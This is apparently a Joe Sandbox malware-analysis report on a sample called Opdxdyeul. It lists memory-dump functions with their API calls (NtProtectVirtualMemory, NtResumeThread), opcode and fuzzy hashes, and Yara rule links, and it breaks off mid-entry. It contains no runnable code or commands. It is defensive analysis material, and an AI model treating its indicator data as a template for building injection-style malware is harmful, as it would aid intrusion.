Opcode Fuzzy Hash: 94e805bc758a5641cc008c10c1ce04c00404e206756b2b02343b23ae759fb06d
Instruction Fuzzy Hash: F04198B5D042599FDF10CFA9D980ADEFBB1BB49310F10A02AE919B7200D775A905CF69

Function 058FFEA8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 058FFF5D

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 40884ff61b019197c825f12af681e31497c47941f9e87cefe8d14c6acaba4f6c
Instruction ID: 6b27eb69327008ed5d6c022e7954ce654a9acf39c528dcfc7b4c2bd264b7fd28
Opcode Fuzzy Hash: 40884ff61b019197c825f12af681e31497c47941f9e87cefe8d14c6acaba4f6c
Instruction Fuzzy Hash: 324188B5D042599FCF10CFAAD980ADEFBB1BB49310F10A02AE919B7200D775A905CF68

Function 058D1130 Relevance: 1.6, APIs: 1, Instructions: 84nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 058D11C6

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: f4042b3db5a962db1668d6bf01015a1a90e46a566760e600227f2d92d1c48513
Instruction ID: cd5a55c44830249ed07db37de542fe579632747ebb597e3d1ed33e24f8432bea
Opcode Fuzzy Hash: f4042b3db5a962db1668d6bf01015a1a90e46a566760e600227f2d92d1c48513
Instruction Fuzzy Hash: 1B31CAB4D012199FDF10CFA9D980A9EFBF1BF49310F10942AE818B7200C775A945CFA4

Function 058D1138 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 058D11C6

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: abdb1cb45becd042ac96b5d13ed33a6a0c0a1fdb171f79d71a1334b6cda04743
Instruction ID: 58d4d22a78c116bfdd38c104613f129e9486b441321887a718b87c8cef89ec7d
Opcode Fuzzy Hash: abdb1cb45becd042ac96b5d13ed33a6a0c0a1fdb171f79d71a1334b6cda04743
Instruction Fuzzy Hash: 0F31CAB4D012199FDF10CFAAD984A9EFBF1BF48310F10942AE818B7200D775A905CFA4

Function 058DEF18 Relevance: 1.5, Strings: 1, Instructions: 290COMMON

Download Yara Rule

Strings

h16, xrefs: 058DF02C

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: h16
API String ID: 0-1750593540
Opcode ID: 080ccf5ee87ca1de6d61d6004a856be8bf1fbaf6548e7c64d7ef9355577f6fe9
Instruction ID: dddb9da4cd70b473dabb2a7f859d9165d3df958ea1e6dd811eb8590e0b6a2e71
Opcode Fuzzy Hash: 080ccf5ee87ca1de6d61d6004a856be8bf1fbaf6548e7c64d7ef9355577f6fe9
Instruction Fuzzy Hash: CBD11E74E05218CFDB14DFA9D844BEEBBF2BB49304F20816AD919AB254C7345985CF64

Function 058DEF28 Relevance: 1.5, Strings: 1, Instructions: 283COMMON

Download Yara Rule

Strings

h16, xrefs: 058DF02C

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: h16
API String ID: 0-1750593540
Opcode ID: ad18332a27da709c20d5877af991e538fa0d217fb992a0e42ef57de90ac47292
Instruction ID: f31b4ec905393ff9c5f5ed82b64d0e5dc44fe2fe5f5d358de373b8f9cd9945a8
Opcode Fuzzy Hash: ad18332a27da709c20d5877af991e538fa0d217fb992a0e42ef57de90ac47292
Instruction Fuzzy Hash: 77D10E74E05218CFDB14DFA9D844BEEFBF2BB48304F20816AD91AAB244CB745985CF64

Function 058FD128 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

h, xrefs: 058FD238

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: h
API String ID: 0-2439710439
Opcode ID: 8587b0c4195cbfb2bcca785e9046374bafb5ee95f85d2c0a2ae7044b84157970
Instruction ID: 55d5eefbe87fd0f79929cd63e22d296d2d7bbe3b43fdca262c6a43d75f6a6be2
Opcode Fuzzy Hash: 8587b0c4195cbfb2bcca785e9046374bafb5ee95f85d2c0a2ae7044b84157970
Instruction Fuzzy Hash: 5161E871D016298BEB64DF6ACC407D9F7B2BF89300F54C2AAD50DA7254EB305A85CF50

Function 057B0738 Relevance: 1.2, Instructions: 1221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382206509.00000000057B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57b0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdefb8f7891ebb338945540c2bca48cf6ed1d4cd87fb52a957d44f4b1f2ce56f
Instruction ID: dd6eae4e0b0bd513b3de8bb326c6c1f220811091640de9bd915fc57fc302d7f7
Opcode Fuzzy Hash: bdefb8f7891ebb338945540c2bca48cf6ed1d4cd87fb52a957d44f4b1f2ce56f
Instruction Fuzzy Hash: 40A26070E09388DFEB16DBE4C858BEEBFB2BF46300F144196E511AB292C7B45845DB61

Function 0129D230 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2335612478.0000000001290000.00000040.00000800.00020000.00000000.sdmp, Offset: 01290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1290000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e67989c2c37843ba3a2b8e75d9c53fcfeaf78b836d6c66b627868ca54acb2649
Instruction ID: 1c567f4a267cdc38c00024aa750062c0bd16251d115e406fdc2f256af185a3ed
Opcode Fuzzy Hash: e67989c2c37843ba3a2b8e75d9c53fcfeaf78b836d6c66b627868ca54acb2649
Instruction Fuzzy Hash: A9A2D575A10228CFDB65CF69C984B99BBB2FF89304F1581E9D509AB325DB319E81CF40

Function 058DE041 Relevance: .7, Instructions: 729COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88ec6a0eae6c9a364e667484547e765f96be42448d9f5e6d0d7b817ecd4fb1a2
Instruction ID: e16d72677a985ac9c0aaacec08316f1babe778b691e43093900ba762d629f35f
Opcode Fuzzy Hash: 88ec6a0eae6c9a364e667484547e765f96be42448d9f5e6d0d7b817ecd4fb1a2
Instruction Fuzzy Hash: C8C11074E05218CFDB94DFA9D894BADBBF6BB89304F1080AAD809EB254DB305D81CF11

Function 057B0732 Relevance: .6, Instructions: 650COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382206509.00000000057B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 057B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_57b0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de3ffe9b41394fb7830d45afb394c1d927d58b4cbaffecdae113b4e357ff6ac4
Instruction ID: 91e75b41e0e4b8eccd01c33aa994cb2964b438b978dfac76c6a3c6ab5e9f7a4a
Opcode Fuzzy Hash: de3ffe9b41394fb7830d45afb394c1d927d58b4cbaffecdae113b4e357ff6ac4
Instruction Fuzzy Hash: E632387150A3C49FE71787B48C69BAA7FB5AB06304F1A41D7E144DB2E3C6B85848CB62

Function 058F4958 Relevance: .6, Instructions: 599COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 787c7ed6b43b4fc85a345d03e5a5e34987b0ff5a226512a082926f1e2c402a48
Instruction ID: 57decbd45a5f646e5331e530adb2dedef32eaec697a247a1934a93fe87902e84
Opcode Fuzzy Hash: 787c7ed6b43b4fc85a345d03e5a5e34987b0ff5a226512a082926f1e2c402a48
Instruction Fuzzy Hash: 82324A74B007168FDB19DBA9C494A6EFBF2FB88304F14852AD956D7390DB34AD01CB91

Function 0582142C Relevance: .5, Instructions: 471COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eefcd5281d31283ebb881b8a4b9d1c4c7f6482bbd16c6bbdd9fc672832a5fed2
Instruction ID: bba9e69a1066850862e5bcb36e038e562a40132039b906956925e6eb8f4f39e3
Opcode Fuzzy Hash: eefcd5281d31283ebb881b8a4b9d1c4c7f6482bbd16c6bbdd9fc672832a5fed2
Instruction Fuzzy Hash: D732A374A14229CFCB65DF28C988A99BBB6FF48310F5081E9D90DA7355DB30AE81CF54

Function 0592D139 Relevance: .4, Instructions: 399COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe225fb3380be79d289cfb9d600aadb0fbac14ed815234e6f794722fecfdf2fc
Instruction ID: 25bd4388e407fab545318db09d4210a99abde920f3994d42ac35d741d771ec89
Opcode Fuzzy Hash: fe225fb3380be79d289cfb9d600aadb0fbac14ed815234e6f794722fecfdf2fc
Instruction Fuzzy Hash: 0FF15C34A00355CFDB15CF68C584AA9BBF2FF89314F1985A9E8059B3A6CB34EC42CB50

Function 01290E5C Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2335612478.0000000001290000.00000040.00000800.00020000.00000000.sdmp, Offset: 01290000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1290000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21cf07492a6fb087eede4ca7cff6c630b4b14a2efa4ae5b8f2911bb6dfa8eaca
Instruction ID: 3649c6b2b15a16cab027f66c1780b055b7d0429d4a2e910215c55b4fe45bac9d
Opcode Fuzzy Hash: 21cf07492a6fb087eede4ca7cff6c630b4b14a2efa4ae5b8f2911bb6dfa8eaca
Instruction Fuzzy Hash: 3DE19E70B1025A9FDB05DFA9C894B6EBBF2FF84310F148269E5059B3A5DB709C56CB80

Function 05928220 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5920000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 744ef55b719fc61a3217d7c918cb42d6e0aa6ee3e27b73e66e2a103104788546
Instruction ID: 3cddab9b1991916839bfa694b6e59ebe9491a762e1bf05848ed2397fed397d4a
Opcode Fuzzy Hash: 744ef55b719fc61a3217d7c918cb42d6e0aa6ee3e27b73e66e2a103104788546
Instruction Fuzzy Hash: 75F1F374E05328CFEB64CFAAD854BADBBF6BB49300F1084AAD409A7659DB705D85CF04

Function 058D3C20 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25e36613fb62335d1db3b450dfa15cacd04f8154161d9552dc7489dee4867d75
Instruction ID: 97305de4acb0124305627853f3014402d91098c9412113180273afe715bb2a72
Opcode Fuzzy Hash: 25e36613fb62335d1db3b450dfa15cacd04f8154161d9552dc7489dee4867d75
Instruction Fuzzy Hash: CAD12374E00218CFDB54DFA6D854BADBBF2BB89304F1084AAD409B7295DB745D85CF22

Function 058D3C10 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 539033ae3d0d259d380f42a1bf016bb450befee8f0705a7d7c166aa90f4515be
Instruction ID: 17bcf2d3f9fe77ec1e85b42a96030cb9f58e35881e4e47992dca8217c4550df8
Opcode Fuzzy Hash: 539033ae3d0d259d380f42a1bf016bb450befee8f0705a7d7c166aa90f4515be
Instruction Fuzzy Hash: 02C12374E00218CFDB54DFA6D854BADBBF2BB89304F1480AAD809BB295DB745D85CF12

Function 058FB130 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6ac25174979ceb0f6a71b34e13b0c28e19574d4ef33d5c7eadce3e2523e1f3a
Instruction ID: 16389721bd732c5433d9a76eade09008631b00c098750639b8b01cccccefe342
Opcode Fuzzy Hash: b6ac25174979ceb0f6a71b34e13b0c28e19574d4ef33d5c7eadce3e2523e1f3a
Instruction Fuzzy Hash: 37C1B170D04218CFEB24DFA9D944BADBBF2BB4930AF208069D909E7655DB745D85CF00

Function 058DE3F0 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c664dea27828ab63604fc22d3f84d72f3d9c7ac56b1e688cf733209b31a9964
Instruction ID: 852cf2214624c838b9cf73991d8430a3c29a566000c94e31455fa17eaf3bda25
Opcode Fuzzy Hash: 0c664dea27828ab63604fc22d3f84d72f3d9c7ac56b1e688cf733209b31a9964
Instruction Fuzzy Hash: E9C1F074E05218CFDB94DFA9D984BADBBF6BB89304F1080A9E909EB254DB305D81CF11

Function 058FB120 Relevance: .3, Instructions: 261COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3112b2247267a93c730a3ca791edce35b52278360d3bcd0b2f11569c9565639
Instruction ID: 5a5d6d398616a723722b342fd6c49ac02218b99d399e31d742586d400a65ef87
Opcode Fuzzy Hash: a3112b2247267a93c730a3ca791edce35b52278360d3bcd0b2f11569c9565639
Instruction Fuzzy Hash: 70B1C270D05218CFEB24CFA9D984BAEBBF2BB49306F20806AD909E7255DB755D85CF00

Function 058D2EB1 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e766f724599282da60a5491f0bfa082710f660077065ffe7aefe5bdb07cae247
Instruction ID: 94ae2eb720e856cbb89438bf3b75d1210c9e9082106c1138e235dd61c2e49643
Opcode Fuzzy Hash: e766f724599282da60a5491f0bfa082710f660077065ffe7aefe5bdb07cae247
Instruction Fuzzy Hash: 81C135B4E04308CFEB58DFA5D894BADBBF2BB49304F1084AAD509AB291CB755D85CF11

Function 058D2EC0 Relevance: .3, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1020fccffcdda34dda4d8e7236bb3cedff45d537b0995b683324ceb64fc88e9c
Instruction ID: d7c7eb065fd01a65cc91609f0b406d2051e6b60ed58e89d9a814aab096cd5ca0
Opcode Fuzzy Hash: 1020fccffcdda34dda4d8e7236bb3cedff45d537b0995b683324ceb64fc88e9c
Instruction Fuzzy Hash: 39C125B4E04308CFEB58DFA5D894BADBBF2BB49304F1084AAD509AB290CB755D85CF11

Function 058D7F90 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 293226104d91b03ca4b9940587179767a2f0c76dba1c243a700cfbae29c02286
Instruction ID: b28fd317fd17ebc2d86542f3f0208187212f22a4e570fdaa7d3571d18fa4b810
Opcode Fuzzy Hash: 293226104d91b03ca4b9940587179767a2f0c76dba1c243a700cfbae29c02286
Instruction Fuzzy Hash: 31B1CB70E05218CFDB14DFAAD894BADFBF2BB89314F14806AD809AB255DB705C86CF54

Function 058D33C7 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3a2ceb5d03348104450e6baba6a53a97b393ebfae60e6450d4bc94e44c83875
Instruction ID: 6176d640fb3d6498d45f6f855641b51d64e8ba6394268acdc04ebac0e7f42c0e
Opcode Fuzzy Hash: f3a2ceb5d03348104450e6baba6a53a97b393ebfae60e6450d4bc94e44c83875
Instruction Fuzzy Hash: 55B11474A04308CFEB58DFA4D894BADFBF2BB48304F2084AAD509AB295CB755D85CF11

Function 0582BA60 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9454ba31c34b4c628fa064655e07e41c7371a4b6bee09b7f8db083bfe4340f60
Instruction ID: 7fe3c7876899d41698e30ac3efdb9f66e3e436548a92136deff01cbb9b43fd24
Opcode Fuzzy Hash: 9454ba31c34b4c628fa064655e07e41c7371a4b6bee09b7f8db083bfe4340f60
Instruction Fuzzy Hash: C3B1B274E06228CFEB54CFA9D894BADBBF2BB48305F14806AE809E7655DB745D85CF00

Function 0582BA51 Relevance: .2, Instructions: 239COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e64cf9f1588ac58b8c27f7e71d9559068c8a538b66a9601b21fb876f021ff5cd
Instruction ID: bafda17da17dbacda69775193f7c53221100b26235967eec02b517d55ccb8bd1
Opcode Fuzzy Hash: e64cf9f1588ac58b8c27f7e71d9559068c8a538b66a9601b21fb876f021ff5cd
Instruction Fuzzy Hash: F2B1B474E06228CFEB54CFA9D885BADBBF2BB48305F14806AE809E7655DB745D85CF00

Function 058D48A9 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 936df3667d2a9e3e289f7d2b6e0070a3ca47c9693e3ea86f6deae00d5db9341f
Instruction ID: 5edddfab89c39bae79036044b8049527340c8ebb44d68f29dffd1f6b809ba09b
Opcode Fuzzy Hash: 936df3667d2a9e3e289f7d2b6e0070a3ca47c9693e3ea86f6deae00d5db9341f
Instruction Fuzzy Hash: EA912370E14208CFDB14DFAAD488BADFBF2FB49304F108069E919A7265DBB09985CF10

Function 058D48B8 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390394187.00000000058D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58d0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4c489f676196876d45ee0187092aa0a6003125ae99a90220cacb8a629a8cdc6
Instruction ID: b48199f87982a918d3efd639aab2b2a3fd75e1f668ffffb3c9437ea29843d309
Opcode Fuzzy Hash: b4c489f676196876d45ee0187092aa0a6003125ae99a90220cacb8a629a8cdc6
Instruction Fuzzy Hash: 9B911370E04208DFDB54DFAAD498BADBBF2BB49308F109069D919A7265DBB09985CF10

Function 058F7BB0 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 161e2020c0edfa914c04a589e9c3d28d650b216331f374ad15b88af4e53e83b5
Instruction ID: bb2b1cdd057c3bd62e98a1a1caab846507586bca372bc8df9a6da403fbdb2be3
Opcode Fuzzy Hash: 161e2020c0edfa914c04a589e9c3d28d650b216331f374ad15b88af4e53e83b5
Instruction Fuzzy Hash: 78710474D1420CCBEB14DFA9E844BADBBB2FB89308F109069EA09E7255DB745D86CF04

Function 058F7BA1 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a0263d86f5d375a060d93c920f581ed99debf4f73b8434e89d39651b86549d1
Instruction ID: a2246fa428a8fed119e87ca2a48516aa6fda239ccd1fb28e731a57aee4b519c7
Opcode Fuzzy Hash: 4a0263d86f5d375a060d93c920f581ed99debf4f73b8434e89d39651b86549d1
Instruction Fuzzy Hash: F681F474D14208CFEB14DFA9E944BADBBB2FB89304F109069EA09E7255DB745E86CF04

Function 05820007 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2382740465.0000000005820000.00000040.00000800.00020000.00000000.sdmp, Offset: 05820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5820000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d53ea49134df5baa501aa8ba58fd84c14c89af01e0a1f2f5de02fe3c5d3ed918
Instruction ID: 761620516c4a962c01c378a8d636a2d4c4e06d43e8872ce5095215254dcaa947
Opcode Fuzzy Hash: d53ea49134df5baa501aa8ba58fd84c14c89af01e0a1f2f5de02fe3c5d3ed918
Instruction Fuzzy Hash: F751EBB1D046588BEB19CF6BD944699FBF3BFC9300F09C1BAC548AA255DB740985CF14

Function 058FC5C7 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2390526315.00000000058F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 058F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_58f0000_Opdxdyeul.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd757ecd646e097c56866c2390458036367b12a53df7eeae0af54c68f609b3e0
Instruction ID: a9b2ed5df3f1de9f077fd4ee2ccfe3ed06ecd82890213647c4a77daf2792f02b
Opcode Fuzzy Hash: dd757ecd646e097c56866c2390458036367b12a53df7eeae0af54c68f609b3e0
Instruction Fuzzy Hash: A521D2B1D0961C9BEB18CF9AC8447ADBBF6BF8C304F14C1AAD909AA254DB744E458F40

Function 0626025A Relevance: 3.8, Strings: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 06260B81
%, xrefs: 06260BAA
8, xrefs: 06260267

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: %$2$8
API String ID: 0-508954566
Opcode ID: 8a415c3484a18e436acd3ec10fb5272faa54f11f5e3e10234d70c5e019dbf003
Instruction ID: 8e6bde140beeeedfafd2d1479182de982d76ac1343cf2389b9bd38aada77d6c4
Opcode Fuzzy Hash: 8a415c3484a18e436acd3ec10fb5272faa54f11f5e3e10234d70c5e019dbf003
Instruction Fuzzy Hash: 6D11AE74951269CFEBA4CF59D999BD8BBF5BB08304F1080EAEA09A7240C7705EC1DF94

Function 06260CDB Relevance: 3.8, Strings: 3, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,, xrefs: 06260CE6
2, xrefs: 06260B81
%, xrefs: 06260BAA

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: %$,$2
API String ID: 0-3896205474
Opcode ID: e4028a5573bc9d1c4c20ae77ad9ae9ca4f8b4872b0f88ad5c8619c671f6a818a
Instruction ID: 517c68c5cd7b5ed63806d935d150e65e23264598953b3570c6a8689ea32f5a56
Opcode Fuzzy Hash: e4028a5573bc9d1c4c20ae77ad9ae9ca4f8b4872b0f88ad5c8619c671f6a818a
Instruction Fuzzy Hash: C5119074951268CFEB64CF55D999BD8BBF1BB08304F1081DAEA09A7240C7715EC1DF54

Function 06260B04 Relevance: 2.5, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

2, xrefs: 06260B81
%, xrefs: 06260BAA

Memory Dump Source

Source File: 00000000.00000002.2392511732.0000000006260000.00000040.00000800.00020000.00000000.sdmp, Offset: 06260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6260000_Opdxdyeul.jbxd

Similarity

API ID:
String ID: %$2
API String ID: 0-4177063231
Opcode ID: 155155ebcdb3d9b9d37c9670c8d1f9769805d272cee25cb18bc7d6370f1fb979
Instruction ID: a032aa9c456124b35f447af1e6cf155b686396f0bb1e17aa4da2d988e6799564
Opcode Fuzzy Hash: 155155ebcdb3d9b9d37c9670c8d1f9769805d272cee25cb18bc7d6370f1fb979
Instruction Fuzzy Hash: 9D11BD70920269CFDB69CF65D995BDCBBF1BB48304F1080EAEA09A7244C7305E81CF44

Function 05923FC6 Relevance: 2.5, Strings: 2, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

D, xrefs: 05925658
N, xrefs: 05925628

Memory Dump Source

Source File: 00000000.00000002.2390621824.0000000005920000.00000040.00000800.00020000.00000000.sdmp, Offset: 05920000, based on PE: false

Joe Sandbox IDA Plugin

